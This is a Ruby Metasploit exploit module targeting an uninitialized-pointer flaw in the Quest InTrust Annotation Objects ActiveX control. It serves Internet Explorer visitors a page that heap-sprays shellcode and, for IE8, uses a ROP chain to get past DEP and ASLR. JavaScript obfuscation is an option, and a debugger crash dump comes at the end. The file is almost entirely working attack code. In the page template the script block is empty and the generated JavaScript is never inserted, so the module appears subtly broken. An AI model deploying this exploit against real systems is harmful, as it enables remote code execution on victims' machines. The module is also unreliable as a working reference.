require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super( update_info(info,
'Name' => 'Quest InTrust Annotation Objects Uninitialized Pointer',
'Description'=> %q{
This module exploits an uninitialized variable vulnerability in the
Annotation Objects ActiveX component. The activeX component loads into memory without
opting into ALSR so this module exploits the vulnerability against windows Vista and
Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX
points to part of the ROP chain in a heap chunk and the calculated call will hit the
pivot in a separate heap chunk. This will take some time in the users browser.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>',
'mr_me <steventhomasseeley[at]gmail.com>'
],
'References' =>
[
[ 'OSVDB', '80662'],
[ 'BID', '52765'],
[ 'URL', 'http://www.exploit-db.com/exploits/18674/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload'=>
{
'Space'=> 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', {} ],
[
'Windows XP/Vista SP0-SP3 (IE6/IE7)',
{
'Ret' => 0x76767676,
}
],
[
'Windows XP SP0-SP3 DEP bypass (IE8)',
{
'Ret' => 0x31AAAD78,
}
],
[
'Windows 7/Vista ALSR/DEP bypass (IE8)',
{
'Ret' => 0x31AAAD78,
}
]
],
'DisclosureDate' => 'Mar 28 2012',
'DefaultTarget'=> 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
], self.class)
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def nops(s)
nops = make_nops(4).unpack("N*") * s
return nops
end
def on_request_uri(cli, request)
my_target = target
if my_target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
my_target = targets[1]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[2]
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/
my_target = targets[2]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[3]
end
end
return if ((p = regenerate_payload(cli)) == nil)
sc = Rex::Text.to_unescape(p.encoded)
obj_name= rand_text_alpha(rand(100) + 1)
main_sym= 'main'
if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
js = <<-EOS
function heapspray(){
shellcode = unescape('#{sc}');
bigblock = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace){ bigblock+=bigblock; }
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000){ block = block+block+fillblock; }
memory = new Array();
for (i=0;i<1000;i++){ memory[i] = block+shellcode; }
}
function main(){
heapspray();
}
EOS
end
if my_target.name =~ /IE8/
rop_gadgets = [
junk,
junk,
junk,
0x44014075
].pack('V*')
rop_gadgets << [0x44015CEF].pack('V*') * 140
rop_gadgets << [
0x44015CEF,
0x44015CEF,
0x44015CEF,
0x44015cee,
0x4401a130,
0x44015ca4,
0x44001218,
junk,
0x440159bb,
junk,
junk,
junk,
junk,
0x4400238A,
0x440012c1,
0x44016264,
0x00004000,
0x44015cc9,
0x00001000,
0x44017664,
0x00000040,
0x44017bd8,
0x44017ebe,
0x4400bf25,
0x0C0C2478,
0x44005C57,
0x90909090,
nops(11)
].flatten.pack('V*')
rop = Rex::Text.to_unescape(rop_gadgets)
js = <<-EOF
function heapspray(){
var payload = unescape('#{rop}');
payload += unescape('#{sc}');
var data = payload;
while(data.length < 100000) { data += data; }
var onemeg = data.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += data.substr(0, 64*1024/2);
}
onemeg += data.substr(0, (64*1024/2)-(38/2));
var block = new Array();
for (i=0; i<700; i++) {
block[i] = onemeg.substr(0, onemeg.length);
}
}
function main(){
heapspray();
}
EOF
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
main_sym = js.sym('main')
end
end
content = <<-EOF
<object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object>
<script language='JavaScript' defer>
</script>
<body onload="#{main_sym}();">
<body>
</html>
EOF
peer = "#{cli.peerhost.ljust(16)} #{self.shortname}"
print_status("#{peer} Sending HTML...")
content = content.gsub(/^\t\t/, '')
send_response_html(cli, content)
handler(cli)
end
end
=begin
eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001
eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc
cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
ANNOTA_1+0xae62:
4400ae62 ff1485504a0244calldword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=????????
=end